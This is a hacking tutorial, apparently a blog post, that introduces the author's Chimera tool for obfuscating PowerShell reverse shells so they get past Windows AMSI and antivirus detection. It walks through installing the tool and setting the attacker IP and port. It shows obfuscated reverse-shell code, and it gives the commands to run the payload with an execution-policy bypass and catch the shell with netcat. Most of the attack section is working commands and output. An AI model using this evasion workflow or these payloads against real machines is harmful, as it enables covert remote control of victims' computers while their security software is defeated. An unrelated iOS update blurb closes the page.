Microsoft's built-in antimalware solution does its best to prevent common attacks. Unfortunately for Windows 10 users, evading detection requires almost no effort at all. An attacker armed with this knowledge will easily bypass security software using any number of tools.
As Microsoft's antimalware solution is Windows 10's first line of defense, it's the subject of a lot of excellent security research. This article will provide a brief introduction to how attackers will evade it entirely.
What Is Antimalware Scan Interface (AMSI)?
The backbone of Microsoft's antimalware, introduced in Windows 10, is the Windows Antimalware Scan Interface, or AMSI. Antivirus applications, including Windows Defender, can call its set of APIs to request a scan for malicious software, scripts, and other content. To describe it briefly, let's look at Microsoft's definition:
The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.
In the below screenshot, the attacker is downloading a script ("shell.ps1") containing nefarious code to invoke a connection to a remote server immediately. When attempting to execute PowerShell scripts in this way, AMSI will use signature-based detection to identify malicious activity.
Below is an image of the same script being used after some obfuscation. Windows 10 has no issues executing it. An arbitrary message is printed in the terminal as a connection is established to the attacker's server.
- Don't Miss: Use Microsoft.com Domains to Host Payloads
How Chimera Works
Chimera is a PowerShell obfuscation script that I created to bypass Microsoft's AMSI as well as commercial antivirus solutions. It digests malicious PowerShell scripts known to trigger antivirus software and uses simple string substitution and variable concatenation to evade common detection signatures. Below is an example of Chimera at work.
The following is a snippet of Invoke-PowerShellTcp.ps1, the same "shell.ps1" script that previously triggered AMSI.
$stream = $client.GetStream()[byte[]]$bytes = 0..65535|%{0}#Send back current username and computername$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")$stream.Write($sendbytes,0,$sendbytes.Length)#Show an interactive PowerShell prompt$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')$stream.Write($sendbytes,0,$sendbytes.Length)
VirusTotal reports 25 detections of the script (shown below). This is no surprise, as Invoke-PowerShellTcp.ps1 is incredibly popular.
Here's there very same snippet, after being processed by Chimera:
# Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star. $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"() # As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden. [bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0} # Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat. # Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station. # Heeding Ben’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim. # Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight. $PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n")# Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer. $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth) # An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued.
VirusTotal reports 0 detections of the obfuscated version.
While I've uploaded a sample to VirusTotal, this is a very bad practice. As stated in its Privacy Policy:
All partners receive Samples that their antivirus engines did not detect as potentially harmful if the same Sample was detected as malicious by at least one other partner's antivirus engine. This information sharing helps correct potential vulnerabilities across the security industry.
In simpler words, if just one antivirus engine detects a file created by Chimera, the file is distributed to over 75 antivirus companies. So don't upload files — created by any obfuscation tool — to VirusTotal. Instead, use a local, offline Windows 10 VM with antivirus solutions installed. This way, if a file is detected, it won't be distributed to every significant security company on the planet.
Step 1: Clone the Chimera Repository
To get started with Chimera, use the following command to update the APT repository and install the required dependencies that Chimera needs to operate correctly.
~$ sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git[sudo] password for user:Hit:1 http://kali.download/kali kali-rolling InReleaseReading package lists... DoneReading package lists... DoneBuilding dependency treeReading state information... Donecoreutils is already the newest version (8.30-3+b1).curl is already the newest version (7.68.0-1+b1).curl set to manually installed.gawk is already the newest version (1:5.0.1+dfsg-1).gawk set to manually installed.grep is already the newest version (3.4-1).libc-bin is already the newest version (2.31-2).perl is already the newest version (5.30.3-4).sed is already the newest version (4.7-1).xxd is already the newest version (2:8.2.0716-3).The following additional packages will be installed: libjq1 (1.6-1) libonig5 (6.9.5-2)The following NEW packages will be installed: jq (1.6-1) libjq1 (1.6-1) libonig5 (6.9.5-2)0 upgraded, 3 newly installed, 0 to remove and 0 not upgraded.Need to get 378 kB of archives.
Then, clone my Chimera repository with the git clone command. I'm putting it in my /opt/chimera directory as seen below.
~$ sudo git clone https://github.com/tokyoneon/chimera /opt/chimeraCloning into '/opt/chimera'...remote: Enumerating objects: 16, done.remote: Counting objects: 100% (16/16), done.remote: Compressing objects: 100% (14/14), done.remote: Total 16 (delta 0), reused 16 (delta 0), pack-reused 0Unpacking objects: 100% (16/16), 805.04 KiB | 1.79 MiB/s, done.
Next, recursively (-R) modify the ownership of the directory to make the files accessible without root privileges.
~$ sudo chown $USER:$USER -R /opt/chimera/
Now, change (cd) into the new /opt/chimera directory.
~$ cd /opt/chimera/
And elevate the permissions of the chimera.sh script to allow execution in Kali.
/opt/chimera$ sudo chmod +x chimera.sh
Finally, to view the available options, execute Chimera with the --help argument.
/opt/chimera$ ./chimera.sh --help ░ ./chimera --file powershell.ps1 --all --output /tmp/payload.ps1 files: -f, --file powershell file.ps1 to obfuscate -o, --output override default output file location options: -a, --all same as: -l 0 -v -t -c -i -p -h -s -b -j -k -e -l, --level level of string manipulation (0=random,1=low, 2=med,3=high,4=higher,5=insane. default: 0) -v, --variables replace variables with arbitrary strings, use -v </usr/share/dict/words> to utilize custom wordlist as variable name substitutions -t, --typedata replace data types with arbitrary strings (e.g., System.IO.StreamWriter). use -t <string,string> to include more -c, --comments replace comments with arbitrary strings use -c <custom_comments.txt> to utillized custom text instead of random strings -i, --insert insert arbitrary comments into every line -h, --hex convert ip addresses to hexidecimal values -s, --string obfuscate provided strings, use -s <getstream,getstring> -b, --backticks insert backticks into provided string, e.g., ne`w`-OB`je`cT -j, --functions replace function names with arbitrary strings -d, --decimal convert obfuscated payload to decimal format improves AMSI evasion; increases AV detection -g, --nishang remove nishang-specific characteristics -k, --keywords search obfuscated output for words that may trigger AV/VT. By default searches for common words (backdoor, payload,nishang), use -k <word,word> to include more -r, --random randomize character punctuation -p, --prepend prepend random number of spaces to lines misc: -e, --examine preview snippets of output file contents -q, --quiet supress non-essential messages -z, --no-art if you hate awesome ascii art --help you're looking at it
Step 2: Obfuscate a PowerShell Script
In the shells/ directory are several Nishang scripts and a few generic ones. All have been tested and are working. However, there's no telling how untested scripts will reproduce with Chimera. It's recommended to use only the included shells.
/opt/chimera$ ls -laR shells/shells/:total 60-rwxrwx--- 1 user user 1727 Aug 29 22:02 generic1.ps1-rwxrwx--- 1 user user 1433 Aug 29 22:02 generic2.ps1-rwxrwx--- 1 user user 734 Aug 29 22:02 generic3.ps1-rwxrwx--- 1 user user 4170 Aug 29 22:02 Invoke-PowerShellIcmp.ps1-rwxrwx--- 1 user user 281 Aug 29 22:02 Invoke-PowerShellTcpOneLine.ps1-rwxrwx--- 1 user user 4404 Aug 29 22:02 Invoke-PowerShellTcp.ps1-rwxrwx--- 1 user user 594 Aug 29 22:02 Invoke-PowerShellUdpOneLine.ps1-rwxrwx--- 1 user user 5754 Aug 29 22:02 Invoke-PowerShellUdp.ps1drwxr-xr-x 2 user user 4096 Aug 30 18:53 misc-rwxrwx--- 1 user user 616 Aug 29 22:02 powershell_reverse_shell.ps1shells/misc:total 36-rwxrwx--- 1 user user 1757 Aug 12 19:53 Add-RegBackdoor.ps1-rwxrwx--- 1 user user 3648 Aug 12 19:53 Get-Information.ps1-rwxrwx--- 1 user user 672 Aug 12 19:53 Get-WLAN-Keys.ps1-rwxrwx--- 1 user user 4430 Aug 28 23:31 Invoke-PortScan.ps1-rwxrwx--- 1 user user 6762 Aug 29 00:27 Invoke-PoshRatHttp.ps1
Before using the scripts, change the hardcoded IP addresses (192.168.56.101) to your Kali address. To find your internal IP address, use ip -c a and look for the 192.168.X.X address. If you don't see one of those, your Kali system is probably set up using NAT. You'll want to power off the VM and use a host-only network configuration.
/opt/chimera$ sed -i 's/192.168.56.101/<YOUR-IP-ADDRESS>/g' shells/*.ps1
The default port with all of the scripts is 4444. Use sed again to change them if needed.
/opt/chimera$ sed -i 's/4444/<YOUR-DESIRED-PORT>/g' shells/*.ps1
Now, use the following command to obfuscate one of the available scripts with Chimera.
/opt/chimera$ ./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -o /tmp/chimera.ps1 -g -v -t -j -i -c -h -s -b -e _____________________________________________________ ░░░░░░ ░░ ░░ ░░ ░░░ ░░░ ░░░░░░░ ░░░░░░ ░░░░░ ▒▒ ▒▒ ▒▒ ▒▒ ▒▒▒▒ ▒▒▒▒ ▒▒ ▒▒ ▒▒ ▒▒ ▒▒ ▓▓ ▓▓▓▓▓▓▓ ▓▓ ▓▓ ▓▓▓▓ ▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ ██ _____________________________________________________ ░ by @tokyoneon_
A lot is happening in the command. I'll briefly breakdown each argument, but review the usage guide for an in-depth explanation and cheatsheet for examples. Also, remember to use --help for broader descriptions.
- -f: The input file.
- -o: The output file.
- -g: Omit several Nishang-specific characteristics from the script.
- -v: Substitute variables names.
- -t: Substitute data types.
- -j: Substitute function names.
- -i: Insert arbitrary comments into every line.
- -c: Replace comments with arbitrary data.
- -h: Convert IP addresses to hexadecimal format.
- -s: Substitute various strings.
- -b: Backtick strings where possible.
- -e: Examine the obfuscated file when the process is complete.
Step 3: Get a Shell
In a new terminal, start a Netcat listener to receive incoming connections. Be sure always to use -v as some of the scripts don't produce a shell prompt when a new connection is established.
~$ nc -v -l -p 4444listening on [any] 4444 ...
Move the chimera.ps1 file from Kali to a local Windows 10 machine. Then, open a PowerShell terminal and execute the file with the following command.
PS> powershell.exe -ep bypass C:\path\to\chimera.ps1
Back in Kali, the nc terminal will produce the following output — with no complaints from AMSI.
~$ nc -v -l -p 4444listening on [any] 4444 ...192.168.56.105: inverse host lookup failed: Host name lookup failureconnect to [192.168.56.107] from (UNKNOWN) [192.168.56.105] 49725Windows PowerShell running as user onCopyright (C) 2015 Microsoft Corporation. All rights reserved.PS C:\Users\target>
AMSI Is Great but Not Hacker-Proof
Creating defensive security tools is no easy feat. Microsoft's Antimalware Scan Interface is a perfect example of that. A motivated attacker will always find a way to slip past security. In the case of Chimera, it merely breaks strings into many pieces and reconstructs them as variables. Other projects like Invoke-Obfuscation take evasion to a masterful level.
Follow me on Twitter @tokyoneon_ and GitHub to keep up with my current projects. And for questions and concerns, leave a comment or ping me on Twitter.
Just updated your iPhone? You'll find new features for TV, Messages, News, and Shortcuts, as well as important bug fixes and security patches. Find out what's new and changed on your iPhone with the iOS 17.6 update.